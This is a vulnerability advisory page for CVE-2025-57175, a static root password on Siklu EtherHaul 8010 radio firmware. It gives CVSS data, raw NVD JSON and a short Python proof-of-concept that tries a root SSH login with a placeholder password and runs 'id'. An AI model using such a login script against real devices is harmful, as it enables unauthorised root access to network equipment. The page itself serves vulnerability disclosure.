Security Vulnerability Report
中文
CVE-2025-57175 CVSS 6.4 MEDIUM

CVE-2025-57175

Published: 2026-04-08 17:20:47
Last Modified: 2026-04-08 21:26:13

Description

Siklu EtherHaul 8010 siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b devices have a static root password.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Siklu EtherHaul 8010 (固件版本 siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2025-57175: Static Root Password on Siklu EtherHaul 8010 # This script demonstrates authentication using hardcoded credentials. # Requires physical access or network connectivity to the management interface. import paramiko import sys # The hardcoded password found in the firmware image # Note: Replace 'HARDCODED_PASSWORD_HERE' with the actual decrypted password from the firmware TARGET_IP = "192.168.1.1" # Example IP USERNAME = "root" PASSWORD = "HARDCODED_PASSWORD_HERE" def exploit(): try: print(f"[*] Attempting to connect to {TARGET_IP}...") ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Attempt login with the hardcoded credential ssh.connect(TARGET_IP, username=USERNAME, password=PASSWORD, timeout=5) print("[+] Success! Logged in as root.") # Execute a command to verify root access (e.g., id) stdin, stdout, stderr = ssh.exec_command('id') print(f"[+] Command output: {stdout.read().decode().strip()}") ssh.close() except Exception as e: print(f"[-] Failed to exploit: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57175", "sourceIdentifier": "[email protected]", "published": "2026-04-08T17:20:46.730", "lastModified": "2026-04-08T21:26:13.410", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Siklu EtherHaul 8010 siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b devices have a static root password."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-259"}]}], "references": [{"url": "https://semaja2.net/2025/04/30/siklu-eh-firmware-decryption/", "source": "[email protected]"}]}}